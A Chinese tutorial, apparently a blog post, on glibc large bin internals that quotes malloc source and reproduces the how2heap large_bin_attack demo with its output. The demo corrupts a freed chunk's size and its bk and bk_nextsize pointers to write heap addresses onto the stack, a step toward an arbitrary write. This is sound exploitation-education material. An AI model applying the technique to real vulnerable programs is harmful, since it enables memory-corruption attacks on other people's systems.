large bin
大于512(1024)字节的chunk称之为large chunk,large bin就是用于管理这些large chunk的
Large bins 中一共包括 63 个 bin,index为64~126,每个 bin 中的 chunk 的大小不一致,而是处于一定区间范围内
largebin 的结构和其他链表都不相同,更加复杂
largebin里除了有fd、bk指针,另外还有fd_nextsize 和 bk_nextsize 这两个指针
而且largebin的插入顺序不再是LIFO或FILO,而是一种全新的方式,我们来测试一下
我们先malloc六个堆块,实际大小为0x400,0x410,0x420,0x430,然后我们依次free可以得到下面这幅图
借用V师傅的总结(相同index下)
- 按照大小从大到小排序
- 若大小相同,按照free时间排序
- 若干个大小相同的堆块,只有首堆块的
fd_nextsize
和bk_nextsize
会指向其他堆块,后面的堆块的fd_nextsize
和bk_nextsize
均为0 - size最大的chunk的
bk_nextsize
指向最小的chunk; size最小的chunk的fd_nextsize
指向最大的chunk
下面我们看下与large bin有关的具体代码:
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
/* Take now instead of binning if exact fit */
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/* place chunk in bin */
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
在循环的每次迭代中,将检索当前unsorted bin的最后一个chunk。如果unsorted bin中没有更多可用的chunk,则循环将结束
将按以下步骤处理检索到的chunk
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
如果堆块是unsorted bin中的最后一个chunk,检索到的chunk的大小适合所请求的chunk,检索到的块是last remainder并且请求的字节小于MIN_LARGE_SIZE,,检索到的chunk将被分割成所请求大小的chunk和剩余chunk。请求大小的chunk将返回给用户,剩余的chunk将再次插入unsorted bin中
if (size == nb)
如果被free的堆块的大小等于请求的大小,则直接返回块
if (in_smallbin_range (size))
如果被free的堆块的大小在small bin的范围内,则获取相应的small bin的index,并将块插入small bin
如果以上条件都不满足,则认为其在large bin大小范围,进入chunk插入large bin的步骤
if (fwd != bck)
{
~~~~~~~~~~~~
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
首先判断large bin是否为空,为空的话,直接将 chunk 的 fd_nextsize bk_nextsize 设置为自身
不为空则进行下一步
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
如果被free的堆块的大小小于large bin中最后一个块的大小,我们将被free的堆块作为最后一个块插入large bin中
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
否则,我们从链表头部开始遍历,直到找到第一个 size 大于等于待插入 chunk 的链表,找到后判断链表的 size 是否等于待插入chunk的size,如果相等,直接将这个 chunk 插入到当前链表的第二个位置,如果不相等,说明待插入的chunk比当前链表头结点的 size 大,那么我们将待插入的chunk作为当前链表的头结点,插入到符合size的bin index后
how2heap large_bin_attack
#include<stdio.h>
#include<stdlib.h>
int main()
{
fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see glibc_build.sh for build instructions.\n");
fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsigned long *p1 = malloc(0x320);
fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the first large chunk during the free()\n\n");
malloc(0x20);
unsigned long *p2 = malloc(0x400);
fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the second large chunk during the free()\n\n");
malloc(0x20);
unsigned long *p3 = malloc(0x400);
fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
" the third large chunk during the free()\n\n");
malloc(0x20);
free(p1);
free(p2);
fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
malloc(0x90);
fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
" [ %p ]\n\n", (void *)((char *)p1 + 0x90));
free(p3);
fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
" as well as its \"bk\" and \"bk_nextsize\" pointers\n");
fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
" \"bk_nextsize\" to 32 bytes before stack_var2\n\n");
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);
//------------------------------------
malloc(0x90);
fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
" During this time, targets should have already been rewritten:\n");
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
return 0;
}
This technique only works with disabled tcache-option for glibc, see glibc_build.sh for build instructions.
This file demonstrates large bin attack by writing a large unsigned long value into stack
In practice, large bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack
Let's first look at the targets we want to rewrite on stack:
stack_var1 (0x7ffc6975ac60): 0
stack_var2 (0x7ffc6975ac68): 0
Now, we allocate the first large chunk on the heap at: 0x1b31000
And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the first large chunk during the free()
Then, we allocate the second large chunk on the heap at: 0x1b31360
And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the second large chunk during the free()
Finally, we allocate the third large chunk on the heap at: 0x1b317a0
And allocate another fastbin chunk in order to avoid consolidating the top chunk with the third large chunk during the free()
We free the first and second large chunks now and they will be inserted in the unsorted bin: [ 0x1b31360 <--> 0x1b31000 ]
Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation, and reinsert the remaining of the freed first large chunk into the unsorted bin: [ 0x1b310a0 ]
Now, we free the third large chunk and it will be inserted in the unsorted bin: [ 0x1b317a0 <--> 0x1b310a0 ]
Now emulating a vulnerability that can overwrite the freed second large chunk's "size" as well as its "bk" and "bk_nextsize" pointers
Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk at the head of the large bin freelist. To overwrite the stack variables, we set "bk" to 16 bytes before stack_var1 and "bk_nextsize" to 32 bytes before stack_var2
Let's malloc again, so the freed third large chunk being inserted into the large bin freelist. During this time, targets should have already been rewritten:
stack_var1 (0x7ffc6975ac60): 0x1b317a0
stack_var2 (0x7ffc6975ac68): 0x1b317a0
让我们简化一下代码把注释部分去掉
unsigned long *p1 = malloc(0x320);
malloc(0x20);
unsigned long *p2 = malloc(0x400);
malloc(0x20);
unsigned long *p3 = malloc(0x400);
malloc(0x20);
free(p1);
free(p2);
malloc(0x90);
free(p3);
在VULNERABILITY之前我们的chunk结构如下
last_remainder: 0x6030a0 (size : 0x290)
unsortbin: 0x6037a0 (size : 0x410) <--> 0x6030a0 (size : 0x290)
largebin[ 0]: 0x603360 (size : 0x410)
0x6030a0 PREV_INUSE struct malloc_chunk {
prev_size = 0x0
size = 0x291
fd = 0x7ffff7dd1df8
bk = 0x6037a0
fd_nextsize = 0x0
bk_nextsize = 0x0
0x603360 PREV_INUSE struct malloc_chunk {
prev_size = 0x0
size = 0x411
fd = 0x7ffff7dd1f68
bk = 0x7ffff7dd1f68
fd_nextsize = 0x603360
bk_nextsize = 0x603360
0x6037a0 PREV_INUSE struct malloc_chunk {
prev_size = 0x0
size = 0x411
fd = 0x6030a0
bk = 0x7ffff7dd1b78
fd_nextsize = 0x0
bk_nextsize = 0x0
我们可以看出p2在largebin中,p1和p3在unsorted bin中
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);
接下来我们修改了p2的chunk,将size改小,将bk指向&stack_var1-0x10,将bk_nextsize指向&stack_var2 - 0x20
接下来我们malloc一个堆块,使p3进入largebin,然后将栈上的两个变量改为p3
我们来分析一下其中的步骤
malloc一个堆块,此时fastbin为空,我们会去unsortedbin历遍寻找,但p3的size不在smallbin的范围内,p3的size大于p2(0x3f1),p3插入large bin的头结点,并执行以下操作
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
victim为p3,fwd为p2
通过上面代码我们可以实现fwd->bk_nextsize->fd_nextsize=victim,fwd->bk=victim,修改fwd的bk和bk_size
我们这样通过构造 nextsize 双向链表,使得栈上的两个变量变为p3,最终可以实现任意地址写
参考链接
https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/